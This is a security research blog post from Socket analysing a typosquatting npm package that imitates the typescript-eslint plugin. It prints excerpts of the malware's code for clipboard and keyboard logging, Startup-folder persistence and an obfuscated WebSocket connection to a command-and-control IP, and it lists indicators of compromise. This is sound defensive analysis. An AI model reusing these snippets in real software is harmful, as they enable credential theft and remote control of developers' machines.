Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

Research

Security News

Malicious npm Package Typosquats Popular TypeScript ESLint Plugin, Exfiltrates Data and Enables Remote Exploitation

Attackers used a malicious npm package typosquatting a popular ESLint plugin to steal sensitive data, execute commands, and exploit developer systems.

Malicious npm Package Typosquats Popular TypeScript ESLint Plugin, Exfiltrates Data and Enables Remote Exploitation

Socket Research Team

December 11, 2024


Weaponizing trust in the open source ecosystem is the bread and butter of threat actors who leverage typosquatting to infiltrate development environments and gain unauthorized access. In this research post we're breaking down a malicious npm package targeting developers attempting to install the popular @typescript-eslint/eslint-plugin package, an ESLint plugin specifically for TypeScript code.

The malicious package, @typescript_eslinter/eslint, differs from the legitimate package name by just a few subtle changes. Developers may accidentally install the plugin thinking they were getting type-aware linting and code style enforcement but instead have their systems compromised.

In this post we will dissect the malicious package's functionality and its connection to a live secondary payload:

  • By leveraging typosquatting and chaining malicious packages, the attackers compromised development environments, exposing sensitive data like API keys, credentials, and configuration files.
  • A WebSocket server enabled real-time exploitation, allowing the attackers to exfiltrate data and execute commands dynamically on affected systems.
  • The presence of a secondary payload, @typescript_eslinter/prettier, which remains live on npm, underscores the persistent nature of this threat.
  • Beyond the immediate technical risks, the attack also erodes trust in open source repositories, undermining confidence in the tools developers rely on daily.
  • It performs clipboard monitoring, global keyboard logging (on Windows), and remote shell command execution via WebSocket. It copies itself to the startup folder for persistence and periodically sends collected data to a remote server. It supports cross-platform functionality (Windows, Linux, macOS)

The Target: @typescript-eslint/eslint-plugin#

The legitimate @typescript-eslint/eslint-plugin is a cornerstone of TypeScript development. It integrates seamlessly with ESLint, enabling developers to enforce coding standards and prevent bugs in TypeScript projects. Its popularity is immense:

  • 3+ million weekly downloads.
  • 15,000+ stars on GitHub.
  • Used extensively in production environments and CI/CD pipelines.

Such widespread usage made it an ideal target for typosquatting, a technique where attackers create malicious packages with names similar to legitimate ones to deceive developers.

The Malicious Package: @typescript_eslinter/eslint#

On November 17th, a malicious package named @typescript_eslinter/eslint was published on npm. This package mimicked the legitimate @typescript-eslint/eslint-plugin, targeting developers who might mistype or misread the package name. It released 43 versions within two weeks—a tactic likely aimed at evading detection by automated tools. The package was eventually removed on December 1, but not before it executed a sophisticated attack chain.

The Secondary Payload: @typescript_eslinter/prettier#

In addition to @typescript_eslinter/eslint, the attackers also published another malicious package, @typescript_eslinter/prettier, which acts as a secondary payload. This package remains live on npm and is designed to spread and enhance the malicious functionality of the primary package.

Breaking Down the Malicious Functionality#

1. Clipboard and Keyboard Monitoring

The malicious package uses the clipboard-event package to monitor clipboard activity and logs any changes:

const minimizerListener = require("clipboard-event");

minimizerListener.startListening();
minimizerListener.on("change", async () => {
  const change = await getMinimizer();
  pendingData.minimizer += "," + change;
});

It also employs the node-global-key-listener package to monitor global keyboard inputs:

const { GlobalKeyboardListener } = require("node-global-key-listener");

const v = new GlobalKeyboardListener();
v.addListener(function (e, down) {
  if (e.state === "DOWN" && !e?.name?.includes("MOUSE")) {
    pendingData.fuzzer += "," + e.name;
  }
});

Purpose:

  • Records sensitive information like passwords, API keys, and other credentials from clipboard or keyboard inputs.
  • Compromises developer systems without their knowledge.

2. Establishing Persistence

The script ensures its persistent execution by copying a .bat file (prettier.bat) to the Windows Startup folder:

const prettierExtracter = () => {
  try {
    const sourceFile = path.join(__dirname, "tools", "prettier.bat");
    const appDataPath = path.join(os.homedir(), "AppData", "Roaming");
    const startupPath = path.join(
      appDataPath,
      "Microsoft",
      "Windows",
      "Start Menu",
      "Programs",
      "Startup"
    );
    const destinationFile = path.join(startupPath, "prettier.bat");
    fs.copyFileSync(sourceFile, destinationFile);
  } catch (err) {}
};

Purpose:

  • Ensures the malicious code runs every time the system restarts.
  • Embeds itself deeply into the system.

3. Real-Time Communication with Command-and-Control Server

Reversing strings and Base64 encoding is a common evasion technique used in malicious scripts to hide sensitive data like URLs or IPs. The string is first reversed, encoded in Base64, and then dynamically decoded at runtime. This obfuscation evades static analysis, hides malicious intent in the raw script, and ensures that critical data (e.g., command-and-control servers) remain concealed until execution, making detection more challenging for both automated tools and manual inspection.

const { io } = require("socket.io-client");

const SERVER_URL = decode("==QM1ATN6QTNy4iNyIjLxgTMuUzMx8yL6M3d");
const socket = io(SERVER_URL, {
  reconnection: true,
  reconnectionAttempts: Infinity,
  reconnectionDelay: 1000,
  reconnectionDelayMax: 5000,
  timeout: 20000,
});

The package establishes a WebSocket connection with a remote server, ws://135.181.226.254:5051, hosted in Finland by Hetzner Online GmbH.

Purpose:

  • Exfiltrates sensitive data, such as clipboard contents, environment variables, and credentials.
  • Executes commands dynamically on compromised systems, enabling further exploitation.

4. Disabling Legitimate Tools

The package disables legitimate tools like ESLint, ensuring no interference with its malicious operations:

function deleteEslinter() {
  return new Promise((resolve, reject) => {
    t("pm2 delete eslinter", (error, stdout, stderr) => {
      error
        ? reject(`Error deleting Eslinter: ${stderr}`)
        : resolve(stdout);
    });
  });
}

Purpose:

  • Prevents developers from using legitimate linting tools.
  • Replaces trusted processes with malicious ones.

The impact of this attack is far-reaching and multifaceted. Developers unknowingly introduced malicious code into their workflows, putting sensitive project data and credentials at significant risk. Through a WebSocket connection, attackers gained the ability to dynamically issue commands, steal data, and execute additional payloads in real time.

The attack's potential reach was amplified by the widespread use of @typescript-eslint/eslint-plugin, leaving countless systems vulnerable. Adding to the concern, the secondary malicious package, @typescript_eslinter/prettier, remains live on npm, continuing to pose a persistent threat to developers and projects. The IP address 135.181.226.254 is associated with Hetzner Online GmbH, a German-based hosting service provider. This server is located in Finland, specifically in the Tuusula data center.

Conclusion

The malicious package @typescript_eslinter/eslint is another example of attackers exploiting open source ecosystems, leveraging typosquatting and sophisticated payload chains. While the primary package has been removed from npm, its secondary payload @typescript_eslinter/prettier remains live, posing a continued threat. This attack demonstrates the importance of having typosquatting detection in place, which is available in the free Socket for GitHub app and our Safe npm CLI tool. These tools block open source supply chain attacks and flag 60+ other indicators of supply chain risk and code quality issues.

Indicators of Compromise (IOC) #

Malicious npm Packages:

@typescript_eslinter/eslint (Removed from npm)

@typescript_eslinter/prettier (Still live on npm at time of analysis)

Command-and-Control (C2) Infrastructure:

IP Address: 135[.]181[.]226[.]254

WebSocket Server: ws://135[.]181[.]226[.]254:5051

Files and Artifacts:

prettier.bat file copied into the Windows Startup folder for persistence.

Socket Research Team

Dhanesh Dodia

Sambarathi Sai

Dwijay Chintakunta

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc